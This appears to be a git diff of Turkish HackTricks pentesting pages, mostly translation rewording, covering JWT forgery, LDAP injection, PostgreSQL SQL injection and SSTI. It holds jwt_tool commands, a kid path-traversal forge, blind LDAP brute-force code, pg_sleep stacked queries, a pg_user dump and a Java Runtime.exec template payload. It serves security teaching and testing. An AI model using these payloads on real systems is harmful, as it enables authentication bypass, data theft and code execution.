* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
* **Hackleme ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -15,9 +15,9 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png"
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -26,13 +26,13 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png"
### **Hızlı Kazanımlar**
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) aracını `All Tests!` modu ile çalıştırın ve yeşil satırları bekleyin.
`All Tests!` moduyla [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) çalıştırın ve yeşil satırları bekleyin.
```bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
Eğer şanslıysanız, araç web uygulamasının JWT'yi yanlış kontrol ettiği bir durumu bulacaktır:
Eğer şanslıysanız, araç web uygulamasının JWT'yi yanlış kontrol ettiği bazı durumları bulacaktır:
![](<../.gitbook/assets/image (935).png>)
@ -42,9 +42,9 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/sign-saboteur) to launch JWT attacks from Burp.
### Hiçbir şeyi değiştirmeden veriyi manipüle etme
### Hiçbir şeyi değiştirmeden veriyi değiştirme
Veriyi manipüle edebilir, imzayı olduğu gibi bırakabilir ve sunucunun imzayı kontrol edip etmediğini kontrol edebilirsiniz. Örneğin, kullanıcı adınızı "admin" olarak değiştirmeyi deneyin.
Veriyi değiştirip imzayı olduğu gibi bırakabilirsiniz ve sunucunun imzayı kontrol edip etmediğini kontrol edebilirsiniz. Örneğin, kullanıcı adınızı "admin" olarak değiştirmeyi deneyin.
#### **Token kontrol ediliyor mu?**
@ -52,14 +52,14 @@ Bir JWT'nin imzasının doğrulanıp doğrulanmadığını kontrol etmek için:
* Devam eden doğrulamayı öneren bir hata mesajı; ayrıntılı hatalardaki hassas bilgiler gözden geçirilmelidir.
* Dönen sayfadaki bir değişiklik de doğrulamayı gösterir.
* Değişiklik olmaması, doğrulama olmadığını gösterir; bu, payload iddialarını manipüle etmek için deneme yapma zamanıdır.
* Değişiklik yoksa doğrulama yok demektir; bu, payload iddialarını değiştirmek için deneme yapma zamanıdır.
### Kaynak
Token'ın sunucu tarafında mı yoksa istemci tarafında mı oluşturulduğunu belirlemek için proxy'nin istek geçmişini incelemek önemlidir.
* İstemci tarafında ilk kez görülen token'lar, anahtarın istemci tarafı koduna maruz kalabileceğini gösterir ve daha fazla araştırma gerektirir.
* Sunucu tarafında kaynaklanan token'lar, güvenli bir süreci gösterir.
* Sunucu tarafında kaynaklanan token'lar güvenli bir süreci gösterir.
### Süre
@ -69,7 +69,7 @@ Token'ın 24 saatten fazla sürüp sürmediğini kontrol edin... belki de hiç s
[**Bu sayfaya bakın.**](../generic-methodologies-and-resources/brute-force.md#jwt)
### Algoritmayı None olarak değiştirin
### Algoritmayı None olarak değiştir
Kullanılan algoritmayı "None" olarak ayarlayın ve imza kısmını kaldırın.
@ -100,7 +100,7 @@ Talimatlar, özellikle "jku" başlık iddiasını kullanan JWT token'larının g
* **"jku" Başlığı ile Token'ları Değerlendirme**:
* "jku" iddiasının URL'sini doğrulayarak uygun JWKS dosyasına yönlendirdiğinden emin olun.
* Token'ın "jku" değerini kontrol edilen bir web hizmetine yönlendirecek şekilde değiştirin, böylece trafik gözlemlenebilir.
* Token'ın "jku" değerini, trafik gözlemi yapmanıza olanak tanıyan kontrol edilen bir web hizmetine yönlendirecek şekilde değiştirin.
* **HTTP Etkileşimini İzleme**:
* Belirttiğiniz URL'ye yapılan HTTP isteklerini gözlemlemek, sunucunun sağladığınız bağlantıdan anahtarları almaya çalıştığını gösterir.
* Bu süreçte `jwt_tool` kullanırken, testin kolaylaştırılması için kişisel JWKS konumunuzu `jwtconf.ini` dosyasını güncelleyerek belirtmek önemlidir.
@ -121,7 +121,7 @@ python3 jwt_tool.py JWT_HERE -X s
#### "kid" ile Yol Geçişi
`kid` iddiası, dosya sisteminde gezinmek için de istismar edilebilir ve bu, rastgele bir dosyanın seçilmesine olanak tanıyabilir. `kid` değerini belirli dosyaları veya hizmetleri hedef alacak şekilde değiştirerek bağlantıyı test etmek veya Sunucu Tarafı İstek Sahteciliği (SSRF) saldırıları gerçekleştirmek mümkündür. JWT'yi, orijinal imzayı koruyarak `kid` değerini değiştirmek için `-T` bayrağını kullanarak değiştirmek mümkündür, aşağıda gösterildiği gibi:
`kid` iddiası, dosya sisteminde gezinmek için de istismar edilebilir ve bu da rastgele bir dosyanın seçilmesine olanak tanıyabilir. Belirli dosyalar veya hizmetler hedef alınarak bağlantı testi yapmak veya Sunucu Tarafı İstek Sahteciliği (SSRF) saldırıları gerçekleştirmek mümkündür. JWT'yi, orijinal imzayı koruyarak `kid` değerini değiştirmek için `-T` bayrağını kullanarak değiştirmek mümkündür, aşağıda gösterildiği gibi:
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
@ -167,7 +167,7 @@ print("e:", hex(key.e))
```
#### x5u
X.509 URL. PEM formatında kodlanmış bir dizi X.509 (bir sertifika format standardı) genel sertifikasına işaret eden bir URI. Set içindeki ilk sertifika, bu JWT'yi imzalamak için kullanılan sertifika olmalıdır. Ardışık sertifikalar, her biri bir öncekini imzalayarak sertifika zincirini tamamlar. X.509, RFC 52807'de tanımlanmıştır. Sertifikaların aktarımı için taşıma güvenliği gereklidir.
X.509 URL. PEM formatında kodlanmış bir dizi X.509 (bir sertifika format standardı) genel sertifikasına işaret eden bir URI. Set içindeki ilk sertifika, bu JWT'yi imzalamak için kullanılan sertifika olmalıdır. Sonraki sertifikalar, her biri bir öncekini imzalayarak sertifika zincirini tamamlar. X.509, RFC 52807'de tanımlanmıştır. Sertifikaların aktarımı için taşıma güvenliği gereklidir.
**Bu başlığı kontrolünüz altındaki bir URL ile değiştirin** ve herhangi bir isteğin alınıp alınmadığını kontrol edin. Bu durumda **JWT'yi değiştirebilirsiniz**.
@ -209,7 +209,7 @@ const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
Yeni bir özel/genel anahtar oluşturmak, yeni genel anahtarı token içine gömmek ve bunu yeni bir imza oluşturmak için kullanmak mümkündür:
Yeni bir özel/genel anahtar oluşturmak, yeni genel anahtarı token içine yerleştirmek ve bunu yeni bir imza oluşturmak için kullanmak mümkündür:
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
@ -229,7 +229,7 @@ Son olarak, kamu ve özel anahtarı ve yeni "n" ve "e" değerlerini kullanarak [
### ES256: Aynı nonce ile özel anahtarın ifşa edilmesi
Bazı uygulamalar ES256 kullanıyorsa ve iki jwt oluşturmak için aynı nonce kullanıyorsa, özel anahtar geri kazanılabilir.
Bazı uygulamalar ES256 kullanıyorsa ve iki jwt oluşturmak için aynı nonce kullanıyorsa, özel anahtar geri yüklenebilir.
İşte bir örnek: [ECDSA: Aynı nonce kullanıldığında özel anahtarın ifşa edilmesi (SECP256k1 ile)](https://asecuritysite.com/encryption/ecd5)
@ -246,36 +246,36 @@ Ancak, ID'nin maksimum uzunluğunun 4 (0001-9999) olduğu bir durumu hayal edin.
**Hizmetler Arası İletim Saldırıları**
Bazı web uygulamalarının token'larının oluşturulması ve yönetimi için güvenilir bir JWT hizmetine güvendiği gözlemlenmiştir. JWT hizmeti tarafından bir istemci için oluşturulan bir token'ın, aynı JWT hizmetinin başka bir istemcisi tarafından kabul edildiği durumlar kaydedilmiştir. Üçüncü taraf bir hizmet aracılığıyla bir JWT'nin verilmesi veya yenilenmesi gözlemlenirse, aynı kullanıcı adı/e-posta ile o hizmetin başka bir istemcisinde bir hesap açma olasılığı araştırılmalıdır. Ardından, elde edilen token'ı hedefe bir istekte yeniden oynatmayı denemek gerekir.
Bazı web uygulamalarının token'larının oluşturulması ve yönetimi için güvenilir bir JWT hizmetine güvendiği gözlemlenmiştir. JWT hizmeti tarafından bir istemci için oluşturulan bir token'ın, aynı JWT hizmetinin başka bir istemcisi tarafından kabul edildiği durumlar kaydedilmiştir. Üçüncü taraf bir hizmet aracılığıyla bir JWT'nin verilmesi veya yenilenmesi gözlemlenirse, aynı kullanıcı adı/e-posta ile o hizmetin başka bir istemcisinde bir hesap açma olasılığı araştırılmalıdır. Ardından, elde edilen token'ı hedefe bir istekte yeniden oynatma girişiminde bulunulmalıdır.
* Token'ınızın kabul edilmesi, herhangi bir kullanıcının hesabının taklit edilmesine olanak tanıyabileceğinden kritik bir sorun olabilir. Ancak, üçüncü taraf bir uygulamada kaydolunması durumunda daha geniş testler için izin gerekebileceği unutulmamalıdır, çünkü bu yasal bir gri alana girebilir.
* Token'ınızın kabul edilmesi, herhangi bir kullanıcının hesabının taklit edilmesine olanak tanıyabileceği için kritik bir sorun olabilir. Ancak, üçüncü taraf bir uygulamada kaydolunması durumunda daha geniş testler için izin gerekebileceği unutulmamalıdır, çünkü bu yasal bir gri alana girebilir.
**Token'ların Süre Kontrolü**
Token'ın süresi "exp" Payload talebi kullanılarak kontrol edilir. JWT'lerin genellikle oturum bilgisi olmadan kullanıldığı göz önüne alındığında, dikkatli bir şekilde ele alınması gerekir. Birçok durumda, başka bir kullanıcının JWT'sini yakalamak ve yeniden oynatmak, o kullanıcının taklit edilmesine olanak tanıyabilir. JWT RFC, token için bir son kullanma süresi belirlemek amacıyla "exp" talebinin kullanılmasını önerir. Ayrıca, uygulamanın bu değerin işlenmesini sağlamak ve süresi dolmuş token'ları reddetmek için ilgili kontrolleri uygulaması önemlidir. Token "exp" talebini içeriyorsa ve test süre sınırları izin veriyorsa, token'ı saklamak ve süresi dolduktan sonra yeniden oynatmak önerilir. Token'ın içeriği, zaman damgası ayrıştırma ve süre kontrolü (UTC'deki zaman damgası) jwt_tool'ün -R bayrağı kullanılarak okunabilir.
Token'ın süresi "exp" Payload talebi kullanılarak kontrol edilir. JWT'lerin genellikle oturum bilgisi olmadan kullanıldığı göz önüne alındığında, dikkatli bir şekilde ele alınması gerekmektedir. Birçok durumda, başka bir kullanıcının JWT'sini yakalamak ve yeniden oynatmak, o kullanıcının taklit edilmesine olanak tanıyabilir. JWT RFC, token için bir son kullanma süresi belirlemek amacıyla "exp" talebinin kullanılmasını önerir. Ayrıca, uygulamanın bu değerin işlenmesini sağlamak ve süresi dolmuş token'ları reddetmek için ilgili kontrolleri uygulaması önemlidir. Token "exp" talebini içeriyorsa ve test süreleri izin veriyorsa, token'ı saklamak ve süresi dolduktan sonra yeniden oynatmak önerilir. Token'ın içeriği, zaman damgası ayrıştırma ve süre kontrolü (UTC'deki zaman damgası) jwt_tool'ün -R bayrağı kullanılarak okunabilir.
* Uygulama hala token'ı doğruluyorsa, bu durum bir güvenlik riski oluşturabilir, çünkü bu token'ın asla süresi dolmayabileceğini ima edebilir.
* Uygulama hala token'ı doğruluyorsa, bu durum bir güvenlik riski oluşturabilir, çünkü bu token'ın asla süresinin dolmayabileceğini ima edebilir.
### Araçlar
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**hackleme kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS Hackleme öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hackleme öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hackleme ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -17,9 +17,9 @@ GCP Hacking öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" a
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -27,13 +27,13 @@ Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hack etme
### **LDAP**
**LDAP nedir öğrenmek istiyorsanız, aşağıdaki sayfaya erişin:**
**LDAP nedir öğrenmek istiyorsanız, aşağıdaki sayfayı ziyaret edin:**
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}
**LDAP Injection**, kullanıcı girdisinden LDAP ifadeleri oluşturan web uygulamalarını hedef alan bir saldırıdır. Uygulama, girişi **doğru bir şekilde temizlemediğinde** meydana gelir ve bu, saldırganların yerel bir proxy aracılığıyla **LDAP ifadelerini manipüle etmesine** olanak tanır; bu da yetkisiz erişim veya veri manipülasyonuna yol açabilir.
**LDAP Injection**, kullanıcı girdisinden LDAP ifadeleri oluşturan web uygulamalarını hedef alan bir saldırıdır. Uygulama, girişi **doğru bir şekilde temizlemediğinde** meydana gelir ve bu durum saldırganların **LDAP ifadelerini manipüle etmesine** olanak tanır, bu da yetkisiz erişim veya veri manipülasyonuna yol açabilir.
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
@ -60,7 +60,7 @@ Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hack etme
Veritabanına erişebilirsiniz ve bu, birçok farklı türde bilgi içerebilir.
**OpenLDAP**: Eğer 2 filtre gelirse, yalnızca birincisini çalıştırır.\
**ADAM veya Microsoft LDS**: 2 filtre ile bir hata verirler.\
**ADAM veya Microsoft LDS**: 2 filtre ile hata verirler.\
**SunOne Directory Server 5.0**: Her iki filtreyi de çalıştırır.
**Filtreyi doğru sözdizimi ile göndermek çok önemlidir, aksi takdirde bir hata oluşur. Sadece 1 filtre göndermek daha iyidir.**
@ -199,7 +199,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
finish = True
print()
```
#### **Özel Blind LDAP Enjeksiyonu (\"\*\" olmadan)**
#### **Özel Kör LDAP Enjeksiyonu (\"\*\" olmadan)**
```python
#!/usr/bin/python3
@ -224,15 +224,15 @@ intitle:"phpLDAPadmin" inurl:cmd.php
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hackleme kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -15,7 +15,7 @@ GCP Hacking öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
@ -50,7 +50,7 @@ Dizeleri manipüle etmek, **WAF'ları veya diğer kısıtlamaları atlatmanıza
### Yığın Sorgular
PostgreSQL'nin yığın sorguları desteklediğini unutmayın, ancak birçok uygulama yalnızca 1 yanıt beklerken 2 yanıt döndüğünde hata verecektir. Ancak, yığın sorguları Zaman enjeksiyonu aracılığıyla kötüye kullanmaya devam edebilirsiniz:
PostgreSQL'in yığın sorguları desteklediğini unutmayın, ancak birçok uygulama yalnızca 1 yanıt beklerken 2 yanıt döndüğünde hata verecektir. Ancak, zaman enjeksiyonu yoluyla yığın sorguları kötüye kullanmaya devam edebilirsiniz:
```
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
@ -59,7 +59,7 @@ id=1; select pg_sleep(10);-- -
**query\_to\_xml**
Bu fonksiyon, tüm verileri tek bir dosyada XML formatında döndürecektir. Tek bir satırda çok fazla veri dökmek istiyorsanız idealdir:
Bu fonksiyon, tüm verileri yalnızca bir dosyada XML formatında döndürecektir. Tek bir satırda çok fazla veri dökmek istiyorsanız idealdir:
```sql
SELECT query_to_xml('select * from pg_user',true,true,'');
```
@ -97,23 +97,23 @@ SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hackleme kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hackleme öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hackleme öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hackleme ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -37,30 +37,30 @@ Bu savunmasız kodda, kullanıcının isteğinden gelen `name` parametresi doğr
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
The payload `{{bad-stuff-here}}` `name` parametresine enjekte edilir. Bu yük, saldırganın yetkisiz kod çalıştırmasına veya şablon motorunu manipüle etmesine olanak tanıyan Jinja şablon direktiflerini içerebilir ve potansiyel olarak sunucu üzerinde kontrol kazanabilir.
The payload `{{bad-stuff-here}}` `name` parametresine enjekte edilir. Bu yük, saldırganın yetkisiz kod çalıştırmasına veya şablon motorunu manipüle etmesine olanak tanıyan Jinja şablon direktiflerini içerebilir ve potansiyel olarak sunucu üzerinde kontrol elde etmesine yol açabilir.
Sunucu tarafı şablon enjeksiyonu zafiyetlerini önlemek için, geliştiricilerin kullanıcı girdisinin şablonlara eklenmeden önce düzgün bir şekilde temizlendiğinden ve doğrulandığından emin olmaları gerekir. Girdi doğrulaması uygulamak ve bağlama duyarlı kaçış teknikleri kullanmak, bu zafiyetin riskini azaltmaya yardımcı olabilir.
### Detection
### Tespit
Sunucu Tarafı Şablon Enjeksiyonu (SSTI) tespit etmek için, başlangıçta **şablonu fuzzing** yapmak basit bir yaklaşımdır. Bu, şablona özel karakterlerin bir dizisini (**`${{<%[%'"}}%\`**) enjekte etmeyi ve sunucunun normal verilerle bu özel yük arasındaki yanıt farklılıklarını analiz etmeyi içerir. Zafiyet göstergeleri şunlardır:
Sunucu Tarafı Şablon Enjeksiyonu (SSTI) tespit etmek için, başlangıçta **şablonu fuzzing** yapmak basit bir yaklaşımdır. Bu, şablona bir dizi özel karakter (**`${{<%[%'"}}%\`**) enjekte etmeyi ve sunucunun normal verilerle bu özel yük arasındaki yanıt farklılıklarını analiz etmeyi içerir. Zafiyet göstergeleri şunlardır:
* Zafiyeti ve potansiyel olarak şablon motorunu ortaya çıkaran hatalar.
* Yansımada yükün olmaması veya bazı kısımlarının eksik olması, sunucunun bunu normal verilerden farklı işlediğini ima eder.
* Yansımada yükün yokluğu veya bazı kısımlarının eksik olması, sunucunun bunu normal verilerden farklı işlediğini ima eder.
* **Düz Metin Bağlamı**: Sunucunun şablon ifadelerini değerlendirip değerlendirmediğini kontrol ederek XSS'ten ayırt edin (örneğin, `{{7*7}}`, `${7*7}`).
* **Kod Bağlamı**: Girdi parametrelerini değiştirerek zafiyeti doğrulayın. Örneğin, `http://vulnerable-website.com/?greeting=data.username` içindeki `greeting` değerini değiştirerek sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu görmek için, `greeting=data.username}}hello` gibi bir yanıt alıp almadığını kontrol edin.
* **Kod Bağlamı**: Girdi parametrelerini değiştirerek zafiyeti doğrulayın. Örneğin, `http://vulnerable-website.com/?greeting=data.username` içindeki `greeting` değerini değiştirerek sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu görmek için `greeting=data.username}}hello` gibi bir yanıt alıp almadığını kontrol edin.
#### Identification Phase
#### Tanımlama Aşaması
Şablon motorunu tanımlamak, hata mesajlarını analiz etmeyi veya çeşitli dil spesifik yükleri manuel olarak test etmeyi içerir. Hatalara neden olan yaygın yükler arasında `${7/0}`, `{{7/0}}` ve `<%= 7/0 %>` bulunur. Matematiksel işlemlere sunucunun yanıtını gözlemlemek, belirli şablon motorunu belirlemeye yardımcı olur.
#### Identification by payloads
#### Yüklerle Tanımlama
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure>
* Daha fazla bilgi için [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
## Tools
## Araçlar
### [TInjA](https://github.com/Hackmanit/TInjA)
@ -89,7 +89,7 @@ en etkili şablon enjeksiyonu poliglotlarını ve 44 en önemli şablon motorunu
### Generic
Bu **wordlist** içinde aşağıda belirtilen bazı motorların ortamlarında **tanımlı değişkenler** bulabilirsiniz:
Bu **wordlist** içinde aşağıda belirtilen bazı motorların ortamlarında tanımlanmış **değişkenler** bulabilirsiniz:
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
@ -191,7 +191,7 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf, bu ifadelerin belirli nitelikler içinde yer almasını gerektirir. Ancak, _ifade iç içe geçirme_ diğer şablon konumları için desteklenir ve `[[...]]` veya `[(...)]` gibi sözdizimi kullanır. Bu nedenle, basit bir SSTI test yükü `[[${7*7}]]` gibi görünebilir.
